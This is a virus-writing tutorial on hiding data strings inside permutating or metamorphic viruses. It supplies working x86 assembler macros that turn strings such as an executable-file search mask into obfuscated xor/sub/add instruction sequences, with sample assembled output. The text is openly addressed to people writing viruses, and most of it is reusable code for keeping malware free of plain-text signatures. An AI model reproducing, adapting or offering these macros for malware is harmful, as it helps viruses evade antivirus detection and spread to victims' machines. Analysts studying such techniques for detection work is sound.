DATA ENCODING IN META VIRUSES

Permutating virus is a virus, rebuilding its body on the assembly instructions level. Instead of metamorphic, permutating virus does not generates new "logic" instructions, but modifies existing. So, there appears a question about using data in such virus.

Because instructions and their lengths are modified, there will be some buffer, where the virus body is located and changed, from copy to copy.

So, there are possible two variants:

- data is saved somewhere outside of this buffer and is probably encrypted by some variable key
- data is generated by our permutable code

The second variant is better, as i think. It has the following features: each virus copy is only some code buffer, w/o data at all; data is divided into parts, and each of them is generated when needed. The only problem is that code, generating this data will use a bit more space than data itself.

Now, lets imagine that we're writing virus under the following condition: virus can contain only code. And we wanna build the following string: "C:\WINDOWS*.EXE",0.

There are two common ways to do it:

```
 1.                          2.
 lea     edi, temparea       push    0
 mov     eax, "W\:C"         push    "EXE."
 stosd                       push    "*\SW"
 mov     eax, "ODNI"         push    "ODNI"
 stosd                       push    "W\:C"
 mov     eax, "*\SW"         ; *ESP = data
 stosd                       ...
 mov     eax, "EXE."         add     esp, 20
 stosd
 xor     eax, eax
 stosd
; temparea[] = data
```

And there is two problems. First, 4-byte parts of this string will be in plain form in the code, which is not good. Second, when there are lots of data it will be hard to write such code yourself.

So, we need macro to xlate data into encrypted code. These macros are shown in the end of this text. The results of their work is below:

```
BEFORE

lea   edi, temparea                x_push ecx, C:\WINDOWS\*.EXE~
x_stosd C:\WINDOWS\*.EXE~          nop
                                   x_pop

AFTER

BFxxxxxxxx mov   edi,0xxxxxxxx     33C9         xor  ecx,ecx
33C0       xor   eax,eax           81E900868687 sub  ecx,087868600
2DBDC5A3A8 sub   eax,0A8A3C5BD     51           push ecx
AB         stosd                   81F12E3F213D xor  ecx,03D213F2E
350A741818 xor   eax,01818740A     51           push ecx
AB         stosd                   81C1290E04E5 add  ecx,0E5040E29
050E0518DB add   eax,0DB18050E     51           push ecx
AB         stosd                   81F11E1D1865 xor  ecx,065181D1E
357916046F xor   eax,06F041679     51           push ecx
AB         stosd                   81E90614E8F7 sub  ecx,0F7E81406
2D2ECD0111 sub   eax,01101CD2E     51           push ecx
AB         stosd                   90           nop
                                   8D642414     lea  esp,[esp][00014]
```

And here is the macros:

```
x_stosd_first           macro
                        _eax    = 0
                        xor     eax, eax
                        endm

x_stosd_next            macro   t, x
                        if      t eq 0
                        sub     eax, _eax - x
                        endif
                        if      (t eq 1) or (t eq 3)
                        xor     eax, _eax xor x
                        endif
                        if      t eq 2
                        add     eax, x - _eax
                        endif
                        _eax = x
                        stosd
                        endm

x_stosd                 macro   x
                          x_stosd_first
                          j = 0
                          s = 0
                          t = 0
                          irpc    c,
                            k = "&c"
                            if      k eq "~"
                              k = 0
                            endif
                            j = j + k shl s
                            s = s + 8
                            if s eq 32
                              x_stosd_next t,j
                              t = t + 1
                              if t eq 4
                                t = 0
                              endif
                              j = 0
                              s = 0
                            endif   ; i eq 4
                          endm    ; irpc
                          if s ne 0
                            j = (j + 12345678h shl s) and 0ffffffffh
                            x_stosd_next t,j
                          endif
                        endm    ; x_stosd

x_push_first            macro   r
                        xor     r, r
                        _reg = 0
                        endm

x_push_next             macro   q, r, x
                        if q eq 0
                        sub     r, _reg - x
```

```
                        endif
                        if (q eq 1) or (q eq 3)
                        xor     r, _reg xor x
                        endif
                        if q eq 2
                        add     r, x - _reg
                        endif
                        push    r
                        _reg = x
                        endm

x_push                  macro   r, x
                        x_push_first r
                        _xsize = 0
                        l       = 0
                        irpc    c,
                        l       = l + 1
                        endm

                        j = 0
                        s = 0

                        l0 = l
                        if (l0 and 3) ne 0
                        j = j shl 8 + "x"
                        s = s + 8
                        l0 = l0 + 1
                        endif
                        if (l0 and 3) ne 0
                        j = j shl 8 + "y"
                        s = s + 8
                        l0 = l0 + 1
                        endif
                        if (l0 and 3) ne 0
                        j = j shl 8 + "z"
                        s = s + 8
                        l0 = l0 + 1
                        endif

                        q = 0

                        i       = l - 1
                        irpc    c1,
                          t       = 0
                          irpc    c,
                            if t eq i
                              j = j shl 8
                              if "&c" ne "~"
                              j = j + "&c"
                              endif
                              s = s + 8
                              if s eq 32
                                _xsize = _xsize + 4
                                x_push_next q,r,j
                                q = q + 1
```

```
            if q eq 4
              q = 0
            endif
            s = 0
            j = 0
          endif
          exitm
        endif
        t     = t + 1
      endm l irpc
      i = i - 1
    endm ; irpc
    if s ne 0
      error
    endif
    endm ; x_push

x_pop       macro
    lea     esp, [esp + _xsize]
    endm
```